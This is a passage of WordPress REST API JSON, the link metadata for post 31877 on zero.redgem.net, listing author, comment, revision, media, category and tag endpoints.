/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=31877"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/31877\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=31877"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=31877"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=31877"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}